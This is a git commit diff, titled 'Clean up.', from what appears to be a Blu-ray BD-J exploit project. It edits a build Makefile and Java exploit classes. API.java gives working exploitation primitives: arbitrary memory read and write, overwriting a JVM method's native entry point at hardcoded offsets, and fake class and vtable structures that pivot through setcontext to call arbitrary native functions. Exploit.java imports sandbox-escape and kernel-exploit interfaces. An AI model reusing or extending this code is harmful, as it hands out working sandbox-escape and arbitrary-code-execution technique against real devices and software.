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Code Issues Projects Releases Wiki Activity

Clean up.

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This commit is contained in:
Andy Nguyen 2021-11-04 23:29:24 +01:00
parent 9dcf0bfe7f
commit 8d7ad41156
3 changed files with 36 additions and 22 deletions
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4
Makefile
View File

@ -28,7 +28,7 @@ CLASSES = \
JFLAGS = -Xlint:all -Xlint:-options -source 1.4 -target 1.4 -bootclasspath "$(LIB)/rt.jar:$(LIB)/bdjstack.jar"
all: directory serialized classes jar bdmv
all: directory serialized classes jar bdjo_bdmv
directory:
mkdir -p $(BUILD)
@ -47,7 +47,7 @@ jar:
cd $(BUILD) && jar cf ../$(DISC)/BDMV/JAR/00000.jar . && cd ..
java -cp "$(TOOLS)/security.jar:$(TOOLS)/bcprov-jdk15-137.jar:$(TOOLS)/tools.jar" net.java.bd.tools.security.BDSigner $(DISC)/BDMV/JAR/00000.jar
bdmv:
bdjo_bdmv:
java -jar $(TOOLS)/bdjo.jar $(BDMV)/bdjo.xml $(DISC)/BDMV/BDJO/00000.bdjo
java -jar $(TOOLS)/MovieObject.jar $(BDMV)/MovieObject.xml $(DISC)/BDMV/MovieObject.bdmv
java -jar $(TOOLS)/index.jar $(BDMV)/index.xml $(DISC)/BDMV/index.bdmv

50
src/com/bdjb/API.java
View File

@ -81,6 +81,10 @@ public final class API {
private native long multiNewArray(long componentType, int[] dimensions);
public boolean isJdk11() {
return jdk11;
}
private void init() throws Exception {
initUnsafe();
initDlsym();
@ -112,6 +116,7 @@ public final class API {
}
handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME);
findMethod.setAccessible(true);
handleField.setAccessible(true);
@ -174,6 +179,7 @@ public final class API {
long apiInstance = addrof(this);
long apiKlass = read64(apiInstance + 0x08);
boolean installed = false;
if (jdk11) {
long methods = read64(apiKlass + 0x170);
int numMethods = read32(methods + 0x00);
@ -194,7 +200,8 @@ public final class API {
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray);
return;
installed = true;
break;
}
}
} else {
@ -217,12 +224,24 @@ public final class API {
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray);
return;
installed = true;
break;
}
}
}
throw new IllegalStateException("Could not install native method.");
if (!installed) {
throw new IllegalStateException("Could not install native method.");
}
// Invoke call method many times to kick in optimization.
train();
}
private void train() {
for (int i = 0; i < 10000; i++) {
call(0);
}
}
private void buildContext(
@ -262,12 +281,6 @@ public final class API {
write64(contextBuf + 0x118, 0);
}
public void train() {
for (int i = 0; i < 10000; i++) {
call(0);
}
}
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
long fakeClassOop = malloc(INT64_SIZE);
long fakeClass = malloc(0x100);
@ -278,11 +291,6 @@ public final class API {
throw new IllegalStateException("Could not allocate memory.");
}
write64(fakeClassOop, 0);
memset(fakeClass, 0, 0x100);
memset(fakeKlass, 0, 0x200);
memset(fakeKlassVtable, 0, 0x400);
try {
long ret = 0;
@ -306,10 +314,13 @@ public final class API {
} else {
write64(fakeKlassVtable + 0x158, __Ux86_64_setcontext); // multi_allocate
}
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
buildContext(
fakeKlass + 0x00, fakeKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
if (i == 0) {
buildContext(
fakeKlass + 0x00, fakeKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
}
}
} else {
write64(fakeClassOop + 0x00, fakeClass);
@ -326,10 +337,13 @@ public final class API {
} else {
write64(fakeKlassVtable + 0x230, __Ux86_64_setcontext); // multi_allocate
}
ret = multiNewArray(fakeClassOop, MULTI_NEW_ARRAY_DIMENSIONS);
buildContext(
fakeKlass + 0x20, fakeKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
if (i == 0) {
buildContext(
fakeKlass + 0x20, fakeKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
}
}
}

4
src/com/bdjb/Exploit.java
View File

@ -7,11 +7,11 @@
package com.bdjb;
import com.bdjb.exploit.sandbox.ExploitSandboxInterface;
import com.bdjb.exploit.kernel.ExploitKernelInterface;
import com.bdjb.exploit.sandbox.ExploitDefaultImpl;
import com.bdjb.exploit.sandbox.ExploitUserPrefsImpl;
import com.bdjb.exploit.sandbox.ExploitSandboxInterface;
import com.bdjb.exploit.sandbox.ExploitServiceProxyImpl;
import com.bdjb.exploit.kernel.ExploitKernelInterface;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;